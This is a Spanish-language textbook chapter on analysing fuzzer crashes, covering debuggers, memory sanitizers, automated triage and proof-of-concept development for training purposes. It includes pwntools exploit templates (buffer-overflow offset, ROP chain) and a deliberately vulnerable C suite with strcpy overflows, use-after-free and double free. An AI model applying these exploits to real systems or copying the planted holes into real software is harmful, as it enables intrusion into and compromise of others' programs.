Capítulo 5: Análisis de Crashes
Después de encontrar vulnerabilidades potenciales mediante fuzzing o patch diffing, el siguiente paso crítico es analizar crashes para determinar si son explotables. Este capítulo cubre triage de crashes, dominio de depuradores, sanitizers de memoria y técnicas avanzadas de análisis de causa raíz.
5.1. 4.1 Fundamentos del Análisis de Crashes
El análisis de crashes es el proceso de transformar un crash descubierto por un fuzzer en conocimiento accionable sobre una vulnerabilidad. Esto incluye determinar la causa raíz, evaluar explotabilidad, y desarrollar pruebas de concepto.
5.1.1. Árbol de Decisión para Análisis de Crashes
- CRASH RECIBIDO: ¿Es reproducible?
- CÓDIGO FUENTE: ¿Disponible?
- SANITIZERS: Recompilar con ASAN/UBSAN si hay fuente.
- DEPURADOR: Usar GDB/WinDbg si no hay fuente.
- CLASIFICAR: Usar CASR para clasificar la vulnerabilidad.
- MINIMIZAR: Reducir el input de crash.
- PoC: Desarrollar una prueba de concepto.
5.2. 4.2 Depuradores y Configuración
5.2.1. WinDbg Preview para Windows
WinDbg Preview es el depurador estándar para análisis de crashes en Windows, con capacidades avanzadas de Time Travel Debugging.
Instalación:
# Instalar desde Microsoft Store o winget
winget install Microsoft.WinDbgPreview
# Crear directorio de símbolos
mkdir C:\Symbols
# Configurar symbol path
[Environment]::SetEnvironmentVariable(
"NT_SYMBOL_PATH",
"SRV*C:\Symbols*https://msdl.microsoft.com/download/symbols",
"User"
)
Comandos Esenciales de WinDbg:
| Comando | Propósito | Ejemplo |
|---|---|---|
| !analyze -v | Análisis automático de crash | N/A |
| k / kp / kv | Stack trace | kv 20 |
| r | Mostrar registros | r rax, rbx |
| u / ub | Disassembly | u rip L10 |
| d / db / dq | Dump de memoria | dq rsp L8 |
| !heap | Análisis del heap | !heap -s |
| !address | Info de memoria | !address rsp |
| lm | Listar módulos | lm vm ntdll |
| .ecxr | Contexto de excepción | N/A |
Time Travel Debugging (TTD): TTD permite grabar la ejecución completa de un proceso y reproducirla.
# Grabar ejecución
tttracer.exe -out C:\Traces -launch target.exe crash_input.txt
# Comandos TTD
!tt 0 # Ir al inicio
!tt 100 # Ir al final
g- # Ejecutar hacia atrás
p- # Step back
5.2.2. GDB + Pwndbg para Linux
Pwndbg es una extensión de GDB diseñada para análisis de vulnerabilidades.
Instalación:
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
pip install pwntools ropper capstone keystone-engine
Configuración de Core Dumps:
ulimit -c unlimited
echo "core. %e. %p. %t" | sudo tee /proc/sys/kernel/core_pattern
Comandos Esenciales de Pwndbg:
| Comando | Propósito |
|---|---|
| context | Mostrar contexto completo |
| checksec | Verificar protecciones |
| vmmap | Mapa de memoria |
| telescope | Dereferencia inteligente |
| cyclic | Generar/buscar patrones |
| search | Buscar en memoria |
| heap | Análisis del heap |
| rop | Buscar gadgets ROP |
Uso Típico:
cd ~/crash_analysis_lab
gdb -q ./vuln_no_protect
pwndbg> set args 1 $(python3 -c "print('A'*100)")
pwndbg> run
pwndbg> context
pwndbg> bt
pwndbg> telescope $rsp 20
5.2.3. Colección de Dumps
Windows - ProcDump:
# Configurar WER
reg add "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting\LocalDumps" /v DumpFolder /t REG_EXPAND_SZ /d "C:\Dumps"
reg add "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting\LocalDumps" /v DumpType /t REG_DWORD /d 2
# Capturar dump
procdump -e -ma target.exe -o C:\Dumps
Linux - Core Dumps:
# Habilitar
ulimit -c unlimited
# Systemd-coredump
sudo apt install systemd-coredump
coredumpctl list
coredumpctl info MATCH
5.2.4. PageHeap y AppVerifier (Windows)
# Habilitar PageHeap
gflags /p /enable target.exe /full
# Con AppVerifier
appverif.exe
# Agregar aplicación → Seleccionar checks (Heaps, Handles, Locks)
5.3. 4.3 Sanitizadores de Memoria
Los sanitizers son herramientas de instrumentación que detectan bugs de memoria en tiempo de ejecución.
5.3.1. AddressSanitizer (ASAN)
ASAN detecta errores de memoria como desbordamientos y uso después de liberación.
Compilación:
# GCC
gcc -g -O1 -fsanitize=address -fno-omit-frame-pointer source.c -o target_asan
# Clang
clang -g -O1 -fsanitize=address -fno-omit-frame-pointer source.c -o target_asan
Errores Detectados: | Error | Descripción | |-------|-------------| | heap-buffer-overflow | Escritura fuera de bounds en heap | | stack-buffer-overflow | Overflow de buffer en stack | | use-after-free | Acceso después de free() | | double-free | Doble liberación |
5.3.2. UndefinedBehaviorSanitizer (UBSAN)
clang -g -O1 -fsanitize=undefined source.c -o target_ubsan
5.3.3. MemorySanitizer (MSAN)
clang -g -O1 -fsanitize=memory source.c -o target_msan
5.3.4. ThreadSanitizer (TSAN)
clang -g -O1 -fsanitize=thread source.c -o target_tsan
5.4. 4.4 Clasificación y Triage Automatizado
CASR - Crash Analysis and Severity Reporter
cargo install casr
casr crash_dump --output report.json
Clasificación: - EXPLOITABLE: Control de RIP/EIP - PROBABLY_EXPLOITABLE: Lectura fuera de límites - NOT_EXPLOITABLE: Crash no explotable
Minimización de Crashes
# Con AFL
afl-tmin -i crash_input -o minimized_input -- ./target
5.5. 4.5 Análisis de Alcanzabilidad
DynamoRIO + drcov
drrun -t drcov -- ./target input.txt
Intel Processor Trace
sudo apt install intel-pt-decoder
intel-pt-decoder --input trace.pt --output trace.txt
Frida
pip install frida-tools
frida-trace -i "*malloc*" ./target
rr - Record and Replay
sudo apt install rr
rr record ./target input.txt
rr replay
5.6. 4.6 Desarrollo de PoC
pwntools - Framework de Explotación
#!/usr/bin/env python3
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
# Conexión
io = remote('target.host', 1337)
# io = process('./vuln_binary')
# Offset hasta RIP
offset = 72
# Construir payload
payload = flat([
b'A' * offset,
p64(target_address)
])
io.sendline(payload)
io.interactive()
PoC - Stack Buffer Overflow
#!/usr/bin/env python3
from pwn import *
context(arch='amd64', os='linux', log_level='info')
# Generar crash y encontrar offset
io = process('./vuln_no_protect')
io.sendline(cyclic(200))
io.wait()
offset = cyclic_find(io.corefile.pc)
log.info(f"Offset: {offset}")
# Payload final
payload = fit({offset: p64(win_function)})
io.sendline(payload)
5.7. 4.7 Proyecto Capstone
Suite de Pruebas Vulnerable
// vulnerable_suite.c
void stack_overflow(char *input) {
char buffer[64];
strcpy(buffer, input); // Sin verificación
}
void heap_overflow(char *input) {
char *buf = malloc(32);
strcpy(buf, input); // Overflow
}
void use_after_free(void) {
char *ptr = malloc(64);
free(ptr);
printf("%s\n", ptr); // UAF
}
void double_free(void) {
char *ptr = malloc(64);
free(ptr);
free(ptr); // Double free
}
Compilación:
gcc -g -fno-stack-protector -no-pie vulnerable_suite.c -o vuln_no_protect
gcc -g -O1 -fsanitize=address vulnerable_suite.c -o vuln_asan
Explotación con ROP
from pwn import *
elf = ELF('./vuln_no_protect')
offset = 72
rop = ROP(elf)
rop.raw(rop.find_gadget(['pop rdi', 'ret']).address)
rop.raw(p64(elf.symbols['win']))
payload = fit({offset: rop.chain()})
io = process(elf.path)
io.sendline(payload)
5.8. Conclusiones del Capítulo 5
- Sanitizers son esenciales - Convierten bugs silenciosos en crashes informativos.
- Automatización acelera triage - CASR clasifica crashes masivamente.
- Análisis de causa raíz requiere múltiples técnicas - Depuradores, tracing, coverage.
- PoCs reproducibles son críticos - Documentan la vulnerabilidad.
- Práctica con binarios vulnerables desarrolla habilidades.
Preguntas de Discusión:
- ¿Cómo afectan las protecciones del compilador a la estrategia de explotación?
- ¿Cuándo es preferible usar ASAN vs PageHeap vs análisis binario puro?
- ¿Cómo se evalúa la explotabilidad de un crash sin control directo de RIP?